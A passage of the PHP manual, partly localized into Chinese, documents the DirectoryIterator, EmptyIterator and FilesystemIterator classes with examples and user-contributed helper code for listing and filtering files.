    parent::__construct(new RecursiveDirectoryIterator($path, $flags));
  }
}

/**
 * Real RecursiveDirectoryIterator Filtered Class
 * Returns only those items which filenames match given regex
 */
class AdvancedDirectoryIterator extends FilterIterator {
  /**
   * Regex storage
   * @var string
   */
  private $regex;
  /**
   * Creates new AdvancedDirectoryIterator
   * @param string $path, prefix with '-R ' for recursive, postfix with /[wildcards] for matching
   * @param int $flags
   * @return DirectoryIterator
   */
  public function  __construct($path, $flags = 0) {
    if (strpos($path, '-R ') === 0) { $recursive = true; $path = substr($path, 3); }
    if (preg_match('~/?([^/]*\*[^/]*)$~', $path, $matches)) { // matched wildcards in filename
      $path = substr($path, 0, -strlen($matches[1]) - 1); // strip wildcards part from path
      $this->regex = '~^' . str_replace('*', '.*', str_replace('.', '\.', $matches[1])) . '$~'; // convert wildcards to regex
      if (!$path) $path = '.'; // if no path given, we assume CWD
    }
    parent::__construct($recursive ? new RRDI($path, $flags) : new DirectoryIterator($path));
  }
  /**
   * Checks for regex in current filename, or matches all if no regex specified
   * @return bool
   */
  public function accept() { // FilterIterator method
    return $this->regex === null ? true : preg_match($this->regex, $this->getInnerIterator()->getFilename());
  }
}

?>

Some examples:

<?php

/* @var $i DirectoryIterator */

foreach (new AdvancedDirectoryIterator('.') as $i) echo $i->getPathname() . '<br/>';
// will output all files and directories in CWD

foreach (new AdvancedDirectoryIterator('-R *.php') as $i) echo $i->getPathname() . '<br/>';
// will output all php files in CWD and all subdirectories

foreach (new AdvancedDirectoryIterator('-R js/jquery-*.js') as $i) echo $i->getPathname() . '<br/>';
// will output all jQuery versions in directory js, or throw an exception if directory js doesn't exist

?>

Pretty cool, huh? :)
kendsnyder at gmail dot com 04-Dec-2008 11:54
Don't store DirectoryIterator objects for later; you will get an error saying "too many open files" when you store more than the operating system limit (usually 256 or 1024).

For example, this will yield an error if the directory has too many files:

<?php
$files = array();
foreach (new DirectoryIterator('myDir') as $file) {
  $files[] = $file;
}
?>

Presumably, this approach is memory intensive as well.
pcdinh at phpvietnam dot net 12-Aug-2007 07:55
I need to traverse recursively through a directory tree and get all sub-directory paths and has written a snippet to do that.

<?php
$path = "D:\webroot\phpvietnamcms";
foreach (new RecursiveIteratorIterator(
           new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::CHILD_FIRST) as $file => $info) {
    if ($info->isDir())
    {
        echo $file."<br />";
    }
}

?>
goran at extensionsforjoomla dot com 20-Jun-2007 04:44
I needed to match in directory tree file name(s) by regular expression. Code is based on Marcus B?rger class DirectoryTreeIterator http://cvs.php.net/viewvc.cgi/php-src/ext/spl/examples/ and on examples given in his lecture Introduction to object oriented PHP at PHP Quebec conference 2007 http://talks.somabo.de/
<?php
class KeyFilter extends FilterIterator
{
  private $_rx;

  function __construct(Iterator $it, $regex)
  {
    parent::__construct($it);
    $this->_rx= $regex;
  }

  function accept()
  {
    return ereg($this->_rx,$this->getInnerIterator()->key());
  }

  protected function __clone() {
    return false;
  }
}

class DirMach extends KeyFilter
{
  function __construct($path , $regex)
  {
    parent::__construct(
    new DirectoryTreeIterator($path), $regex);
  }

  function current()
  {
    return parent::key();
  }

  function key()
  {
    return parent::key();
  }
}

class DirectoryTreeIterator extends RecursiveIteratorIterator
{
    /** Construct from a path.
     * @param $path directory to iterate
     */
    function __construct($path)
    {
     try {
      parent::__construct(
            new RecursiveCachingIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_FILENAME
                ),
                CachingIterator::CALL_TOSTRING|CachingIterator::CATCH_GET_CHILD
            ),
            parent::SELF_FIRST
        );
     } catch(Exception $e) {
       echo $e->getMessage();
       exit;
     }
    }

    /** @return the current element prefixed with ASCII graphics
     */
    function current()
    {
      if ($this->hasChildren())
        $this->next();
      return $this->key();
    }

    /** Aggregates the inner iterator
     */
    function __call($func, $params)
    {
      return call_user_func_array(array($this->getSubIterator(), $func), $params);
    }
}
$PathToSearch = 'path_to_search';
$regex = 'regular_expression';
$FileList = new DirMach($PathToSearch, $regex);
foreach ($FileList as $file) {
  $match[] = $file;
}
echo '<pre>';
var_dump($match);
echo '</pre>';
?>
springub at northclick dot de 13-Dec-2006 04:26
udvig dot ericson at gmail dot com
29-Jul-2006 07:48

In response to the comment below from udvig. The Example ist wrong, here is the right one:

<?php
$dir = new DirectoryIterator("/tmp");
foreach ($dir as $file) {
   if ($file->isDot()) {
       continue;
   }
   echo $file->getFilename() . "\n";
}
?>
fernandobassani at gmail dot com 25-Jan-2006 10:36
We can now replace the old fashioned way of listing the content from a directory!

the old way:
<?php
if ($handle = opendir('/home/fernando/temp')) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            print "$file <br />";
        }
    }
    closedir($handle);
}
?>

the new way:
<?php
$dir = new DirectoryIterator('/home/fernando/temp');
while($dir->valid()) {
    if(!$dir->isDot()) {
        print $dir->current()."<br />";
    }
    $dir->next();
}
?>


Return the current DirectoryIterator item

  • ? DirectoryIterator::__construct
  • DirectoryIterator::getBasename ?
  • PHP Manual
  • DirectoryIterator
  • Return the current DirectoryIterator item

DirectoryIterator::current

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::current — Return the current DirectoryIterator item

说明

public DirectoryIterator::current(): mixed

Get the current DirectoryIterator item.

参数

此函数没有参数。

返回值

The current DirectoryIterator item.

示例

Example #1 A DirectoryIterator::current() example

This example will list the contents of the directory containing the script.

<?php
$iterator = new DirectoryIterator(__DIR__);
while($iterator->valid()) {
$file = $iterator->current();
echo $iterator->key() . " => " . $file->getFilename() . "\n";
$iterator->next();
}
?>

以上示例的输出类似于：

0 => .
1 => ..
2 => apple.jpg
3 => banana.jpg
4 => index.php
5 => pear.jpg

参见

  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::current() - 返回当前元素

User Contributed Notes

There are no user contributed notes for this page.


Get base name of current DirectoryIterator item

  • ? DirectoryIterator::current
  • DirectoryIterator::getExtension ?
  • PHP Manual
  • DirectoryIterator
  • Get base name of current DirectoryIterator item

DirectoryIterator::getBasename

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

DirectoryIterator::getBasename — Get base name of current DirectoryIterator item

说明

public DirectoryIterator::getBasename(string $suffix = ""): string

Get the base name of the current DirectoryIterator item.

参数

suffix

If the base name ends in suffix, this will be cut.

返回值

The base name of the current DirectoryIterator item.

示例

Example #1 A DirectoryIterator::getBasename() example

This example will list the full base name and the base name with suffix .jpg removed for the files in the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
if ($fileinfo->isFile()) {
echo $fileinfo->getBasename() . "\n";
echo $fileinfo->getBasename('.jpg') . "\n";
}
}
?>

以上示例的输出类似于：

apple.jpg
apple
banana.jpg
banana
index.php
index.php
pear.jpg
pear

参见

  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item
  • DirectoryIterator::getPath()
  • DirectoryIterator::getPathname()
  • basename() - 返回路径中的文件名部分
  • pathinfo() - 返回文件路径的信息

User Contributed Notes

There are no user contributed notes for this page.


Gets the file extension

  • ? DirectoryIterator::getBasename
  • DirectoryIterator::getFilename ?
  • PHP Manual
  • DirectoryIterator
  • Gets the file extension

DirectoryIterator::getExtension

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

DirectoryIterator::getExtension — Gets the file extension

说明

public DirectoryIterator::getExtension(): string

Retrieves the file extension.

参数

此函数没有参数。

返回值

Returns a string containing the file extension, or an empty string if the file has no extension.

示例

Example #1 DirectoryIterator::getExtension() example

<?php

$directory = new DirectoryIterator(__DIR__);
foreach ($directory as $fileinfo) {
if ($fileinfo->isFile()) {
echo $fileinfo->getExtension() . "\n";
}
}

?>

以上示例的输出类似于：

php
txt
jpg
gz

注释

Note:

Another way of getting the extension is to use the pathinfo() function.

<?php
$extension = pathinfo($fileinfo->getFilename(), PATHINFO_EXTENSION);
?>

参见

  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item
  • DirectoryIterator::getBasename() - Get base name of current DirectoryIterator item
  • pathinfo() - 返回文件路径的信息

User Contributed Notes

There are no user contributed notes for this page.


Return file name of current DirectoryIterator item

  • ? DirectoryIterator::getExtension
  • DirectoryIterator::isDot ?
  • PHP Manual
  • DirectoryIterator
  • Return file name of current DirectoryIterator item

DirectoryIterator::getFilename

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::getFilename — Return file name of current DirectoryIterator item

说明

public DirectoryIterator::getFilename(): string

Get the file name of the current DirectoryIterator item.

参数

此函数没有参数。

返回值

Returns the file name of the current DirectoryIterator item.

示例

Example #1 A DirectoryIterator::getFilename() example

This example will list the contents of the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
echo $fileinfo->getFilename() . "\n";
}
?>

以上示例的输出类似于：

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

参见

  • DirectoryIterator::getBasename() - Get base name of current DirectoryIterator item
  • DirectoryIterator::getPath()
  • DirectoryIterator::getPathname()
  • pathinfo() - 返回文件路径的信息

User Contributed Notes

There are no user contributed notes for this page.


Determine if current DirectoryIterator item is '.' or '..'

  • ? DirectoryIterator::getFilename
  • DirectoryIterator::key ?
  • PHP Manual
  • DirectoryIterator
  • Determine if current DirectoryIterator item is '.' or '..'

DirectoryIterator::isDot

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::isDot — Determine if current DirectoryIterator item is '.' or '..'

说明

public DirectoryIterator::isDot(): bool

Determines if the current DirectoryIterator item is a directory and either . or ..

参数

此函数没有参数。

返回值

true if the entry is . or .., otherwise false

示例

Example #1 A DirectoryIterator::isDot() example

This example will list all files, omitting the . and .. entries.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
if (!$fileinfo->isDot()) {
echo $fileinfo->getFilename() . "\n";
}
}
?>

以上示例的输出类似于：

apple.jpg
banana.jpg
example.php
pears.jpg

参见

  • DirectoryIterator::getType()
  • DirectoryIterator::isDir()
  • DirectoryIterator::isFile()
  • DirectoryIterator::isLink()

User Contributed Notes

There are no user contributed notes for this page.


Return the key for the current DirectoryIterator item

  • ? DirectoryIterator::isDot
  • DirectoryIterator::next ?
  • PHP Manual
  • DirectoryIterator
  • Return the key for the current DirectoryIterator item

DirectoryIterator::key

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::key — Return the key for the current DirectoryIterator item

说明

public DirectoryIterator::key(): mixed

Get the key for the current DirectoryIterator item.

参数

此函数没有参数。

返回值

The key for the current DirectoryIterator item as an int.

更新日志

版本 | 说明
8.1.0 | When the iterator is uninitialized, an Error is thrown now. Previously, the method returned false.

示例

Example #1 A DirectoryIterator::key() example

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
if (!$fileinfo->isDot()) {
echo $fileinfo->key() . " => " . $fileinfo->getFilename() . "\n";
}
}
?>

以上示例的输出类似于：

0 => apple.jpg
1 => banana.jpg
2 => index.php
3 => pear.jpg

参见

  • DirectoryIterator::current() - Return the current DirectoryIterator item
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::key() - 返回当前元素的键

User Contributed Notes

There are no user contributed notes for this page.


Move forward to next DirectoryIterator item

  • ? DirectoryIterator::key
  • DirectoryIterator::rewind ?
  • PHP Manual
  • DirectoryIterator
  • Move forward to next DirectoryIterator item

DirectoryIterator::next

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::next — Move forward to next DirectoryIterator item

说明

public DirectoryIterator::next(): void

Move forward to the next DirectoryIterator item.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 DirectoryIterator::next() example

List the contents of a directory using a while loop.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
while($iterator->valid()) {
echo $iterator->getFilename() . "\n";
$iterator->next();
}
?>

以上示例的输出类似于：

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

参见

  • DirectoryIterator::current() - Return the current DirectoryIterator item
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::next() - 向前移动到下一个元素

User Contributed Notes

There are no user contributed notes for this page.


Rewind the DirectoryIterator back to the start

  • ? DirectoryIterator::next
  • DirectoryIterator::seek ?
  • PHP Manual
  • DirectoryIterator
  • Rewind the DirectoryIterator back to the start

DirectoryIterator::rewind

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::rewind — Rewind the DirectoryIterator back to the start

说明

public DirectoryIterator::rewind(): void

Rewind the DirectoryIterator back to the start.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 DirectoryIterator::rewind() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); //rewinding to the beginning
echo $iterator->key(); //0
?>

参见

  • DirectoryIterator::current() - Return the current DirectoryIterator item
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::rewind() - 返回到迭代器的第一个元素

User Contributed Notes

There are no user contributed notes for this page.


Seek to a DirectoryIterator item

  • ? DirectoryIterator::rewind
  • DirectoryIterator::__toString ?
  • PHP Manual
  • DirectoryIterator
  • Seek to a DirectoryIterator item

DirectoryIterator::seek

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DirectoryIterator::seek — Seek to a DirectoryIterator item

说明

public DirectoryIterator::seek(int $offset): void

Seek to a given position in the DirectoryIterator.

参数

offset

The zero-based numeric position to seek to.

返回值

没有返回值。

示例

Example #1 DirectoryIterator::seek() example

Seek to the fourth item in the directory containing the script. The first two are usually . and ..

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
$iterator->seek(3);
if ($iterator->valid()) {
echo $iterator->getFilename();
} else {
echo 'No file at position 3';
}
?>

参见

  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • SeekableIterator::seek() - Seeks to a position

User Contributed Notes

There are no user contributed notes for this page.


Get file name as a string

  • ? DirectoryIterator::seek
  • DirectoryIterator::valid ?
  • PHP Manual
  • DirectoryIterator
  • Get file name as a string

DirectoryIterator::__toString

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::__toString — Get file name as a string

说明

public DirectoryIterator::__toString(): string

Get the file name of the current DirectoryIterator item.

参数

此函数没有参数。

返回值

Returns the file name of the current DirectoryIterator item.

示例

Example #1 A DirectoryIterator::__toString() example

This example will list the contents of the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
echo $fileinfo;
}
?>

以上示例的输出类似于：

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

参见

  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item
  • The __toString() magic method

User Contributed Notes

There are no user contributed notes for this page.


Check whether current DirectoryIterator position is a valid file

  • ? DirectoryIterator::__toString
  • EmptyIterator ?
  • PHP Manual
  • DirectoryIterator
  • Check whether current DirectoryIterator position is a valid file

DirectoryIterator::valid

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::valid — Check whether current DirectoryIterator position is a valid file

说明

public DirectoryIterator::valid(): bool

Check whether current DirectoryIterator position is a valid file.

参数

此函数没有参数。

返回值

Returns true if the position is valid, otherwise false

示例

Example #1 A DirectoryIterator::valid() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));

// Loop to end of iterator
while($iterator->valid()) {
$iterator->next();
}

$iterator->valid(); // FALSE
$iterator->rewind();
$iterator->valid(); // TRUE

?>

参见

  • DirectoryIterator::current() - Return the current DirectoryIterator item
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • Iterator::valid() - 检查当前位置是否有效

User Contributed Notes

There are no user contributed notes for this page.


The EmptyIterator class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

The EmptyIterator class for an empty iterator.

类摘要

class EmptyIterator implements Iterator {
/* 方法 */
public current(): never
public key(): never
public next(): void
public rewind(): void
public valid(): false
}

Table of Contents

  • EmptyIterator::current — The current() method
  • EmptyIterator::key — The key() method
  • EmptyIterator::next — The next() method
  • EmptyIterator::rewind — The rewind() method
  • EmptyIterator::valid — The valid() method

User Contributed Notes

Ben 20-Jun-2017 12:42
Example use case:

<?php
class MyIterator implements IteratorAggregate
{
    /**
     * @var string
     */
    private $url;

    /**
     * MyIterator constructor.
     * @param $url
     */
    public function __construct($url)
    {
        $this->url = $url;
    }

    /**
     * @inheritDoc
     */
    public function getIterator()
    {
        $content = file_get_contents($this->url);
        try {
            return @new SimpleXMLIterator($content);

        } catch (Exception $e) { // Case $content is not valid XML, but you don't care
            return new EmptyIterator();
        }
    }

}
?>


The current() method

  • ? EmptyIterator
  • EmptyIterator::key ?
  • PHP Manual
  • EmptyIterator
  • The current() method

EmptyIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

EmptyIterator::current — The current() method

说明

public EmptyIterator::current(): never

This function must not be called. It throws an exception upon access.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

错误／异常

Throws an Exception if called.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The key() method

  • ? EmptyIterator::current
  • EmptyIterator::next ?
  • PHP Manual
  • EmptyIterator
  • The key() method

EmptyIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

EmptyIterator::key — The key() method

说明

public EmptyIterator::key(): never

This function must not be called. It throws an exception upon access.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

错误／异常

Throws an Exception if called.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The next() method

  • ? EmptyIterator::key
  • EmptyIterator::rewind ?
  • PHP Manual
  • EmptyIterator
  • The next() method

EmptyIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

EmptyIterator::next — The next() method

说明

public EmptyIterator::next(): void

No operation, nothing to do.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The rewind() method

  • ? EmptyIterator::next
  • EmptyIterator::valid ?
  • PHP Manual
  • EmptyIterator
  • The rewind() method

EmptyIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

EmptyIterator::rewind — The rewind() method

说明

public EmptyIterator::rewind(): void

No operation, nothing to do.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The valid() method

  • ? EmptyIterator::rewind
  • FilesystemIterator ?
  • PHP Manual
  • EmptyIterator
  • The valid() method

EmptyIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

EmptyIterator::valid — The valid() method

说明

public EmptyIterator::valid(): false

The EmptyIterator valid() method.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

false

User Contributed Notes

There are no user contributed notes for this page.


The FilesystemIterator class

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

The Filesystem iterator

类摘要

class FilesystemIterator extends DirectoryIterator {
/* 常量 */
public const int CURRENT_MODE_MASK;
public const int CURRENT_AS_PATHNAME;
public const int CURRENT_AS_FILEINFO;
public const int CURRENT_AS_SELF;
public const int KEY_MODE_MASK;
public const int KEY_AS_PATHNAME;
public const int FOLLOW_SYMLINKS;
public const int KEY_AS_FILENAME;
public const int NEW_CURRENT_AND_KEY;
public const int OTHER_MODE_MASK;
public const int SKIP_DOTS;
public const int UNIX_PATHS;
/* 方法 */
public __construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS)
public current(): string|SplFileInfo|FilesystemIterator
public getFlags(): int
public key(): string
public next(): void
public rewind(): void
public setFlags(int $flags): void
/* 继承的方法 */
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

预定义常量

FilesystemIterator::CURRENT_AS_PATHNAME

Makes FilesystemIterator::current() return the pathname.

FilesystemIterator::CURRENT_AS_FILEINFO

Makes FilesystemIterator::current() return an SplFileInfo instance.

FilesystemIterator::CURRENT_AS_SELF

Makes FilesystemIterator::current() return $this (the FilesystemIterator).

FilesystemIterator::CURRENT_MODE_MASK

Masks FilesystemIterator::current()

FilesystemIterator::KEY_AS_PATHNAME

Makes FilesystemIterator::key() return the pathname.

FilesystemIterator::KEY_AS_FILENAME

Makes FilesystemIterator::key() return the filename.

FilesystemIterator::FOLLOW_SYMLINKS

Makes RecursiveDirectoryIterator::hasChildren() follow symlinks.

FilesystemIterator::KEY_MODE_MASK

Masks FilesystemIterator::key()

FilesystemIterator::NEW_CURRENT_AND_KEY

Same as FilesystemIterator::KEY_AS_FILENAME | FilesystemIterator::CURRENT_AS_FILEINFO.

FilesystemIterator::OTHER_MODE_MASK

Mask used for FilesystemIterator::getFlags() and FilesystemIterator::setFlags().

FilesystemIterator::SKIP_DOTS

Skips dot files (. and ..).

FilesystemIterator::UNIX_PATHS

Makes paths use Unix-style forward slash irrespective of system default. Note that the path that is passed to the constructor is not modified.

Table of Contents

  • FilesystemIterator::__construct — Constructs a new filesystem iterator
  • FilesystemIterator::current — The current file
  • FilesystemIterator::getFlags — Get the handling flags
  • FilesystemIterator::key — Retrieve the key for the current file
  • FilesystemIterator::next — Move to the next file
  • FilesystemIterator::rewind — Rewinds back to the beginning
  • FilesystemIterator::setFlags — Sets handling flags

User Contributed Notes

blackout at drunkenlords dot com 22-Jul-2021 06:20
Here's a great little drop in replacement for FilesystemIterator I wrote to easily Iterate your filesystem, including:

* Sorting - using ArrayIterator
* Regex Matching - using RegexIterator
* Limiting - using LimitIterator

It's fully chainable

<?php

// Sort by filemtime
$files = (new AdvancedFilesystemIterator('/path/to/files'))->sortByMTime();

// Sort by filemtime -> Limit output to 10
$files = (new AdvancedFilesystemIterator('/path/to/files'))->sortByMTime()->limit(0, 10);

// Sort by filemtime -> Only get CSV files -> Limit to 10
$files = (new AdvancedFilesystemIterator('/path/to/files'))->sortByMTime()->match('/csv$/')->limit(0, 10);

// Sort by filemtime -> Only get CSV files -> Limit to 10 -> and back to sorting by Filename
$files = (new AdvancedFilesystemIterator('/path/to/files'))->sortByMTime()->match('/csv$/')->limit(0, 10)->sortByFilename();

// Sort by any of SplFileInfo's get*() methods i.e. Owner, CTime, Basename, ATime, Perms, Type, isFile, anything
$files = (new AdvancedFilesystemIterator('/path/to/files'))->sortByOwner();

// Foreach
foreach ((new AdvancedFilesystemIterator('/path/to/files'))->sortByMTime()->match('/csv$/')->limit(0, 10) AS $file)
{
    print $file->getFilename() . "<br>\n";
}

// The Class
class AdvancedFilesystemIterator extends ArrayIterator
{
    public function __construct(string $path, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS)
    {
        parent::__construct(iterator_to_array(new FilesystemIterator($path, $flags)));
    }

    public function __call(string $name, array $arguments)
    {
        if (preg_match('/^sortBy(.*)/', $name, $m)) return $this->sort('get' . $m[1]);
        throw new MemberAccessException('Method ' . $methodName . ' not exists');
    }

    public function sort($method)
    {
        if (!method_exists('SplFileInfo', $method)) throw new InvalidArgumentException(sprintf('Method "%s" does not exist in SplFileInfo', $method));

        $this->uasort(function(SplFileInfo $a, SplFileInfo $b) use ($method) { return (is_string($a->$method()) ? strnatcmp($a->$method(), $b->$method()) : $b->$method() - $a->$method()); });

        return $this;
    }

    public function limit(int $offset = 0, int $limit = -1)
    {
        return parent::__construct(iterator_to_array(new LimitIterator($this, $offset, $limit))) ?? $this;
    }

    public function match(string $regex, int $mode = RegexIterator::MATCH, int $flags = 0, int $preg_flags = 0)
    {
        return parent::__construct(iterator_to_array(new RegexIterator($this, $regex, $mode, $flags, $preg_flags))) ?? $this;
    }
}
ohcc at 163 dot com 09-Jun-2020 03:31
It's impossible to return dots (. and ..) by FilesystemIterator.
thedilab at gmail dot com 06-Oct-2015 03:13
DirectoryIterator returns virtual directories "." and ".." in a loop.
But FilesystemIterator ignores them.
paul at paulgarvin dot net 10-May-2014 03:08
You may be wondering, like I did, what is the difference between this class and DirectoryIterator?

When you iteterate using DirectoryIterator each "value" returned is the same DirectoryIterator object. The internal state is changed so when you call isDir(), getPathname(), etc the correct information is returned. If you were to ask for a key when iterating you will get an integer index value.

FilesystemIterator (and RecursiveDirectoryIterator) on the other hand returns a new, different SplFileInfo object for each iteration step. The key is the full pathname of the file. This is by default. You can change what is returned for the key or value using the "flags" arguement to the constructor.


Constructs a new filesystem iterator

  • ? FilesystemIterator
  • FilesystemIterator::current ?
  • PHP Manual
  • FilesystemIterator
  • Constructs a new filesystem iterator

FilesystemIterator::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::__construct — Constructs a new filesystem iterator

说明

public FilesystemIterator::__construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS)

Constructs a new filesystem iterator from the directory.

参数

directory

The path of the filesystem item to be iterated over.

flags

Flags may be provided which will affect the behavior of some methods. A list of the flags can found under FilesystemIterator predefined constants. They can also be set later with FilesystemIterator::setFlags()

错误／异常

Throws an UnexpectedValueException if the directory does not exist.

Throws a ValueError if the directory is an empty string.

更新日志

版本 | 说明
8.2.0 | Prior to PHP 8.2.0, FilesystemIterator::SKIP_DOTS was always set and could not be removed.
8.0.0 | Now throws a ValueError if directory is an empty string; previously it threw a RuntimeException.

示例

Example #1 FilesystemIterator::__construct() example

<?php
$it = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::CURRENT_AS_FILEINFO);
foreach ($it as $fileinfo) {
echo $fileinfo->getFilename() . "\n";
}
?>

上述示例在 PHP 8.2 中的输出类似于于：

.
..
apples.jpg
banana.jpg
example.php

Output of the above example prior to PHP 8.2.0 is similar to:

apples.jpg
banana.jpg
example.php

参见

  • FilesystemIterator::setFlags() - Sets handling flags
  • DirectoryIterator::__construct() - Constructs a new directory iterator from a path

User Contributed Notes

There are no user contributed notes for this page.


The current file

  • ? FilesystemIterator::__construct
  • FilesystemIterator::getFlags ?
  • PHP Manual
  • FilesystemIterator
  • The current file

FilesystemIterator::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::current — The current file

说明

public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator

Get file information of the current element.

参数

此函数没有参数。

返回值

The filename, file information, or $this depending on the set flags. See the FilesystemIterator constants.

示例

Example #1 FilesystemIterator::current() example

This example will list the contents of the directory containing the script.

<?php
$iterator = new FilesystemIterator(__DIR__, FilesystemIterator::CURRENT_AS_PATHNAME);
foreach ($iterator as $fileinfo) {
echo $iterator->current() . "\n";
}
?>

上述示例在 PHP 8.2 中的输出类似于于：

/www/examples/.
/www/examples/..
/www/examples/apple.jpg
/www/examples/banana.jpg
/www/examples/example.php

参见

  • FilesystemIterator constants
  • DirectoryIterator::current() - Return the current DirectoryIterator item
  • DirectoryIterator::getFileName() - Return file name of current DirectoryIterator item

User Contributed Notes

There are no user contributed notes for this page.


Get the handling flags

  • ? FilesystemIterator::current
  • FilesystemIterator::key ?
  • PHP Manual
  • FilesystemIterator
  • Get the handling flags

FilesystemIterator::getFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

FilesystemIterator::getFlags — Get the handling flags

说明

public FilesystemIterator::getFlags(): int

Gets the handling flags, as set in FilesystemIterator::__construct() or FilesystemIterator::setFlags().

参数

此函数没有参数。

返回值

